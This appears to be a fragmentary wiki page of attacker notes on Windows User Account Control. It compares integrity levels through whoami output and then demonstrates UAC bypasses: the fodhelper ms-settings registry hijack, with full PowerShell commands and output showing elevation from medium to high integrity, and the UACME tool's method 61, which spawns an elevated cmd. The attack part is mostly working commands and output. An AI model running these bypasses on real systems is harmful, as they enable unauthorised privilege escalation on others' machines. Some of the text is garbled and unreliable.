

# UAC

SYSTEM

Integrity

C\$ wboami /groups

cmd.exe beacon

```
C:\Users\serveradm>whoami /groups

GROUP INFORMATION
-----

Group Name                                     Type                SID                                     Attributes
-----
Everyone                                     Well-known group    S-1-1-0                               Mandatory group
p, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias               S-1-5-32-544                         Group used for deny only
BUILTIN\Users                             Alias               S-1-5-32-545                         Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group    S-1-5-4                               Mandatory group
p, Enabled by default, Enabled group
CONSOLE LOGON                             Well-known group    S-1-2-1                               Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group    S-1-5-11                              Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group    S-1-5-15                              Mandatory group
p, Enabled by default, Enabled group
LOCAL                                      Well-known group    S-1-2-0                               Mandatory group
p, Enabled by default, Enabled group
WHITE-BIRD\Server Admin                   Group               S-1-5-21-2387957962-993181570-3566323574-1605 Mandatory group
p, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group    S-1-18-1                              Mandatory group
p, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level    Label               S-1-16-8192                          Mandatory group
```

```
PS C:\Download> whoami /groups

GROUP INFORMATION
-----

Group Name                                     Type                SID                                     Attributes
-----
Everyone                                     Well-known group    S-1-1-0                               Mandatory group
p, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias               S-1-5-32-544                         Mandatory group
p, Enabled by default, Enabled group, Group owner
BUILTIN\Users                             Alias               S-1-5-32-545                         Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group    S-1-5-4                               Mandatory group
p, Enabled by default, Enabled group
CONSOLE LOGON                             Well-known group    S-1-2-1                               Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group    S-1-5-11                              Mandatory group
p, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group    S-1-5-15                              Mandatory group
p, Enabled by default, Enabled group
LOCAL                                      Well-known group    S-1-2-0                               Mandatory group
p, Enabled by default, Enabled group
WHITE-BIRD\Server Admin                   Group               S-1-5-21-2387957962-993181570-3566323574-1605 Mandatory group
p, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group    S-1-18-1                              Mandatory group
p, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level      Label               S-1-16-12288                         Mandatory group
```



```

PS C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----

Group Name                                     Type                                     SID
Attributes
-----
Mandatory Label\System Mandatory Level Label  S-1-16-16384

Everyone                                     Well-known group S-1-1-0
Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6
Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
NT SERVICE\BITS                            Well-known group S-1-5-80-864916184-135290571-3087830041-1716922880-4237303741
Enabled by default, Group owner
NT SERVICE\dmwappushservice                Well-known group S-1-5-80-3841379657-834162867-3056945855-2577476187-70241904
Enabled by default, Group owner
NT SERVICE\DsmSvc                          Well-known group S-1-5-80-286057374-2594772386-1471686342-3682429118-820474675
Enabled by default, Group owner
NT SERVICE\Eaphost                         Well-known group S-1-5-80-3578261754-285310837-913589462-2834155770-667502746
Enabled by default, Group owner
NT SERVICE\IKEEXT                          Well-known group S-1-5-80-698886940-375981264-2691324669-2937073286-3841916615
Enabled by default, Enabled group, Group owner
NT SERVICE\iphlpvc                         Well-known group S-1-5-80-62724632-2456781206-3863850748-1496050881-1042387526
Enabled by default, Enabled group, Group owner
NT SERVICE\lfsvc                           Well-known group S-1-5-80-3704025948-1094794811-1175534343-2088422159-783153058

```

UAC

UAC Helper.exe

UAC



## Choose when to be notified about changes to your computer

User Account Control helps prevent potentially harmful programs from making changes to your computer.

[Tell me more about User Account Control settings](#)

Always notify



Never notify

### Notify me only when apps try to make changes to my computer (default)

- Don't notify me when I make changes to Windows settings



Recommended if you use familiar apps and visit familiar websites.



OK

Cancel

## Fodhelper UAC

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
C:\Windows\System32\fodhelper.exe
```



```
PS C:\Users\serveradm> whoami /groups

GROUP INFORMATION
-----
```

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group
p, Enabled by default, Enabled group			
BUILTIN\Administrators	Alias	S-1-5-32-544	Group used for
deny only			
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group
p, Enabled by default, Enabled group			
NT AUTHORITY\INTERACTIVE	Well-known group	S-1-5-4	Mandatory group
p, Enabled by default, Enabled group			
CONSOLE LOGON	Well-known group	S-1-2-1	Mandatory group
p, Enabled by default, Enabled group			
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group
p, Enabled by default, Enabled group			
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group
p, Enabled by default, Enabled group			
LOCAL	Well-known group	S-1-2-0	Mandatory group
p, Enabled by default, Enabled group			
WHITE-BIRD\Server Admin	Group	S-1-5-21-2387957962-993181570-3566323574-1605	Mandatory group
p, Enabled by default, Enabled group			
Authentication authority asserted identity	Well-known group	S-1-18-1	Mandatory group
p, Enabled by default, Enabled group			
Mandatory Label\Medium Mandatory Level	Label	S-1-16-8192	

powershell.exe GUI

```
PS C:\Users\serveradm> new-item -path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force

Hive: HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open

Name      Property
----      -
command    (default) : powershell.exe

PS C:\Users\serveradm> New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

DelegateExecute :
PSPath           : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
PSParentPath     : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open
PSChildName      : command
PSDrive          : HKCU
PSProvider       : Microsoft.PowerShell.Core\Registry

PS C:\Users\serveradm> C:\windows\system32\fodhelper.exe
PS C:\Users\serveradm>
```



```

Select Administrator: Windows PowerShell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----

```

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group
BUILTIN\Administrators	Alias	S-1-5-32-544	Mandatory group
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group
NT AUTHORITY\INTERACTIVE	Well-known group	S-1-5-4	Mandatory group
CONSOLE LOGON	Well-known group	S-1-2-1	Mandatory group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group
LOCAL	Well-known group	S-1-2-0	Mandatory group
WHITE-BIRD\Server Admin	Group	S-1-5-21-2387957962-993181570-3566323574-1605	Mandatory group
Authentication authority asserted identity	Well-known group	S-1-18-1	Mandatory group
Mandatory Label\High Mandatory Level	Label	S-1-16-12288	

```

PS C:\Windows\system32>

```

UACUACME (<https://github.com/hfiref0x/UACME>)

Windows

UAC


61

61. Author: Enigma0x3/bytecode77 derivative by Nassim Asrir

- Type: Shell API
- Method: Registry key manipulation
- Target(s): \system32\slui.exe, \system32\changeapk.exe
- Component(s): Attacker defined
- Implementation: ucmShellRegModMethod
- Works from: Windows 10 (14393)
- Fixed in: unfixed 🙈
  - How: -
- Code status: added in v3.2.5



```
PS C:\Users\serveradm>
PS C:\Users\serveradm> .\akaigi.exe 61 cmd.exe
PS C:\Users\serveradm>
```

 Select Administrator: C:\Windows\system32\cmd.exe

```
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami /groups | findstr Level
Mandatory Label\High Mandatory Level          Label          S-1-16-12288
```

```
C:\Windows\system32>_
```

---

Revision #7

Created 5 September 2022 03:02:50 by

Updated 10 March 2023 22:52:14 by